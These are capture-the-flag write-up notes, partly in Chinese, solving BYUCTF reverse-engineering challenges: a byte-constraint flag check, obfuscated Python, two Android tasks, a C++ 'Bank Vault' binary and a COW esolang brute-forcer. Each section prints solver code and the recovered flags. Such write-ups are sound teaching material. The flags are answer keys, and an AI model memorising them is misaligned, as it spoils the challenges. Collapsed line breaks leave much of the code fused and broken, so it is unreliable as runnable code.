def chk(v):v[4] == v[14] == v[17] == v[23] == v[25]v[9] == v[20]v[10] == v[18]v[11] == v[15] == v[24] == v[31] == v[27]v[13] == v[26]v[16] == v[29]v[19] == v[28] == v[32]v[36] == 125v[6] == 123v[7] - 32 == v[8]v[:6] == b'byuctf'v[9]+v[20] == v[31]+3v[31]+3 == v[0]v[10] == v[7]+6v[8] == v[9]+27v[12] == v[13]-1v[13] == v[10]-3v[10] == v[16]-1v[16] == v[14]-1v[35] == v[5]-2v[5] == v[21]-1v[21] == v[22]-1v[22] == v[28]*2v[33] == v[32]+1v[32]+1 == v[34]-3v[30] == v[7]+1
手动换个顺序
v = [-1]*37
for i,k in enumerate(b'byuctf'):v[i]=kv[36]=125
v[6]=123
v[31] = v[0]-3
v[14]=v[4]
v[17]=v[14]
v[23]=v[17]
v[25]=v[23]
v[16] = v[14]-1
v[10] = v[16]-1
v[13] = v[10]-3
v[12] = v[13]-1
v[7] = v[10]-6
v[8] = v[7]-32
v[9] = v[8]-27
v[20] = v[9]
v[18]=v[10]
v[31] = v[9]+v[20]-3
v[24] = v[31]
v[15] = v[24]
v[11] = v[15]
v[27] = v[31]
v[35] = v[5]-2
v[26] = v[13]
v[29] = v[16]
v[21] = v[5]+1
v[22] = v[21]+1
v[28] = v[22]//2
v[32] = v[28]
v[19] = v[28]
v[33] = v[32]+1
v[34] = v[32]+4
v[30] = v[7]+1bytes(v)
#byuctf{lL1r_not_str41ght_to_4sm_458d}
u
混淆的题,把函数变成UTF字符,手动变回
ù,ú,û,ü,ũ,ū,ŭ,ů,ű,ų,ṳ,ṷ,ụ=chr,ord,abs,input,all,print,len,input,pow,range,list,dict,set;ù=[12838,1089,16029,13761,1276,14790,2091,17199,2223,2925,17901,3159,18135,18837,3135,19071,4095,19773,4797,4085,20007,5733,20709,17005,2601,9620,3192,9724,3127,8125];u,U=3,256;ṷ=ü();ʉ=ṳ(ụ([ű(u,û,U) for û in(ų(U))]))[u:ŭ(ù)+u];ṳ=zip;ṷ=[ú(û) for û in(ṷ)];assert(ŭ(ù)==ŭ(ṷ));assert(ũ([û*ü==ū for û,ü,ū in(ṳ(ʉ,ṷ,ù))]));
cc=[12838,1089,16029,13761,1276,14790,2091,17199,2223,2925,17901,3159,18135,18837,3135,19071,4095,19773,4797,4085,20007,5733,20709,17005,2601,9620,3192,9724,3127,8125]
u,U=3,256
dict=input()
v=list(set([pow(u,i,U) for i in(range(U))]))[u:len(cc)+u];
list=zip;
dict=[ord(abs) for abs in(dict)];
assert(len(chr)==len(dict));
assert(all([a*i==p for a,i,p in(list(v,dict,cc))]));#改为除法得到flag
v=list(set([pow(u,i,U) for i in(range(U))]))[u:len(cc)+u];
r = [cc[i]//v[i] for i in range(len(cc))]
bytes(r)
#byuctf{uuuuuuu_uuuu_uuu_34845}
Baby Android 2
找到密文和换顺序的方法,直接找回
a = 'bycnu)_aacGly~}tt+?=<_ML?f^i_vETkG+b{nDJrVp6=)='
''.join([a[i*i%47] for i in range(23)])
#byuctf{c++_in_an_apk??}byuctf{e4_if_e_efcopukd0inrdccyat}
Baby Android 1
拿到一两个数字和一个字符,多组,里边有byuctf所以画成图看
a = [[420, 216, '}'],[616, 340, 't'],[ 556, 332, 'a'],[676, 368, 'y'],[500, 252, 'c'],[636, 348, 'c'],[436, 364, 'd'],[496, 348, 'r'],[536, 336, 'n'],[456, 360, 'i'],[536, 276, '0'],[516, 340, 'd'],[460, 232, 'k'],[656, 356, 'u'],[452, 320, 'p'],[476, 352, 'o'],[ 500, 300, 'c'],[596, 332, 'f'],[484, 308, 'e'],[436, 328, ' '],[516, 292, 'e'],[
536, 284, ' '],[536, 268, 'f'],[ 468, 316, 'i'],[516, 260, ' '],[480, 240, '4'],[440, 224, 'e'],[576, 324, '{']]from PIL import Image, ImageFont, ImageDrawimg = Image.new('RGB',(800,800), (255,255,255))
draw = ImageDraw.Draw(img)font = ImageFont.load_default()
for v in a:draw.text((v[1],v[0]), v[2], fill=(0,0,0), font=font)img.save('a.png')
#byuctf{androidpiece0fc4ke}
#byuctf{android_piece_0f_c4ke}
Bank Vault
这里C_0_0实际逆序后表示哪一位有效,C_1_1的整形数组的hibyte是flag但有些无效
v23 = &v15;std::vector<bool>::vector(v14, &C_0_0, 84LL, &v15);std::__new_allocator<bool>::~__new_allocator(&v15);std::vector<bool>::vector(v13, v14);v22 = &v16;std::vector<unsigned int>::vector(v12, &C_1_1, 84LL, &v16);std::__new_allocator<unsigned int>::~__new_allocator(&v16);std::string::basic_string(v11);std::operator<<<std::char_traits<char>>(&_bss_start, "What's the password to the bank vault? ");std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v11);v27 = 0;std::vector<bool>::vector(v10);v25 = 0;for ( i = 0; ; ++i ){v5 = i;if ( v5 >= std::vector<unsigned int>::size(v12) )break;v17[0] = std::vector<bool>::back((__int64)v13);v17[1] = v3;v25 = std::_Bit_reference::operator bool(v17);v4 = HIWORD(*(_DWORD *)std::vector<unsigned int>::at(v12, i));v24 = (_BYTE)v4 == *(_BYTE *)std::string::operator[](v11, v27);if ( v25 )++v27;std::vector<bool>::push_back(v10, v24);std::vector<bool>::pop_back(v13);}
msg = open('bank','rb').read()
c = msg[0x5120:0x5120+84][::-1]
a = msg[0x5180:0x52d0]m = ''
i=0
while i <84:if c[i]:m+=chr(a[i*4+2])i+=1#byuctf{3v3n_v3ct0rs_4pp34r_1n_m3m0ry}
*moooo
cow esolang语言,与brainfuck有点像,多了几个符号,网上有解释器,但这里需要爆破,看了WP也不大明白,是通过最后的返回字符来判断。
from queue import PriorityQueue
import string
from typing import List, Optional# mostly takne from https://github.com/Mikhail57/cow-interpreter/blob/master/interpreter.py
class CowInterpreter:# Twelve COW commands, mapped by indexavailable_commands = ["moo", # 0: loop end ("moo")"mOo", # 1: move pointer left"moO", # 2: move pointer right"mOO", # 3: execute cell as instruction"Moo", # 4: input/output char"MOo", # 5: decrement cell"MoO", # 6: increment cell"MOO", # 7: loop start"OOO", # 8: zero cell"MMM", # 9: copy/paste register"OOM", # 10: print int"oom", # 11: read int]max_idx = 0output = b""def __init__(self, buffer=b"byuctf{") -> None:self.buffer = bufferself._cells: List[int] = [0] * 30000self._commands: List[int] = []self._ptr: int = 0 # data pointerself._cmd_ptr: int = 0 # instruction pointerself._register: Optional[int] = None# map command indices to handler methodsself._commands_to_functions = {0: self._handle_loop_end,1: self._move_to_prev_cell,2: self._move_to_next_cell,3: self._handle_current_as_instruction,4: self._print_or_read_char,5: self._decrement_current_cell,6: self._increment_current_cell,7: self._handle_loop_start,8: self._zero_current_cell,9: self._copy_or_paste_register,10: self._print_int,11: self._read_int,}def interpret(self, code: str):# tokenize program: split on whitespace and filter valid commandstokens = code.split()self._commands = [self.available_commands.index(t)for t in tokens if t in self.available_commands]self._ptr = 0self._cmd_ptr = 0while self._cmd_ptr < len(self._commands):cmd = self._commands[self._cmd_ptr]handler = self._commands_to_functions.get(cmd)if handler is None:raise Exception(f"Unknown command index {cmd}")handler()self._cmd_ptr += 1self.max_idx = max(self.max_idx, self._cmd_ptr)def _handle_loop_start(self):# "MOO": if current cell is zero, skip to matching loop end ("moo")if self._cells[self._ptr] == 0:# find matching loop-endself._cmd_ptr = self._get_loop_end(self._cmd_ptr)def _handle_loop_end(self):# "moo": if current cell != 0, jump back to matching loop start ("MOO")if self._cells[self._ptr] != 0:self._cmd_ptr = self._get_loop_start(self._cmd_ptr)def _zero_current_cell(self):self._cells[self._ptr] = 0def _move_to_prev_cell(self):if self._ptr == 0:raise IndexError("Data pointer moved before start of tape")self._ptr -= 1def _move_to_next_cell(self):self._ptr += 1if self._ptr >= len(self._cells):# expand tape if neededself._cells.append(0)def _handle_current_as_instruction(self):# "mOO": treat cell value as command index and execute itidx = self._cells[self._ptr]if idx < 0 or idx >= len(self.available_commands) or idx == 3:# idx == 3 would recurse infinitelyraise Exception(f"Invalid command index {idx} in cell for mOO")# execute without advancing cmd_ptr twiceself._commands_to_functions[idx]()def _print_or_read_char(self):# "Moo": if cell != 0, output char, else read charif self._cells[self._ptr] == 0:self._cells[self._ptr] = self.buffer[0]if len(self.buffer) > 1:self.buffer = self.buffer[1:]else:self.output += bytes([self._cells[self._ptr]])pass# print(chr(self._cells[self._ptr]), end='')def _decrement_current_cell(self):self._cells[self._ptr] -= 1def _increment_current_cell(self):self._cells[self._ptr] += 1def _copy_or_paste_register(self):# "MMM": copy into register or paste from registerif self._register is None:self._register = self._cells[self._ptr]else:self._cells[self._ptr] = self._registerself._register = Nonedef _print_int(self):# "OOM": print integer with no newlinepass# print(self._cells[self._ptr], end='')def _read_int(self):# "oom": read integer into cellval = chr(self.buffer[0])if len(self.buffer) > 1:self.buffer = self.buffer[1:]self._cells[self._ptr] = int(val)def _get_loop_end(self, start_idx: int) -> int:# find matching "moo" for "MOO" at start_idxdepth = 1i = start_idxwhile depth > 0:i += 1if i >= len(self._commands):raise IndexError("Loop start without matching loop end")if self._commands[i] == 7: # another MOOdepth += 1elif self._commands[i] == 0: # moodepth -= 1return idef _get_loop_start(self, end_idx: int) -> int:# find matching "MOO" for "moo" at end_idxdepth = 1i = end_idxwhile depth > 0:i -= 1if i < 0:raise IndexError("Loop end without matching loop start")if self._commands[i] == 0: # moodepth += 1elif self._commands[i] == 7: # MOOdepth -= 1return iwith open("main.cow", 'r') as f:code = f.read()
prog = b"byuctf{"
queue = PriorityQueue()
queue.put((0, prog))prev_max = 0max_by_pos = dict()while not queue.empty():idx, prog = queue.get()for i in string.digits + string.ascii_letters + string.punctuation:inp = prog + i.encode() + b'}'interpreter = CowInterpreter(inp)try:interpreter.interpret(code)print(inp, '->', interpreter.output[19:], interpreter.max_idx)except Exception as e:passif b'gotem' in interpreter.output:print("Found flag:", inp.decode())exit()ans = b"gotem"extra = 0for j in range(len(interpreter.output)-19):if interpreter.output[19+j] == ans[j]:extra += 2else:breakinterpreter.max_idx += extraif interpreter.max_idx > prev_max:print('new best', interpreter.max_idx, inp.decode())prev_max = interpreter.max_idxif interpreter.max_idx >= prev_max and len(prog + i.encode()) <= 38:queue.put((-interpreter.max_idx+len(prog + i.encode()), prog + i.encode()))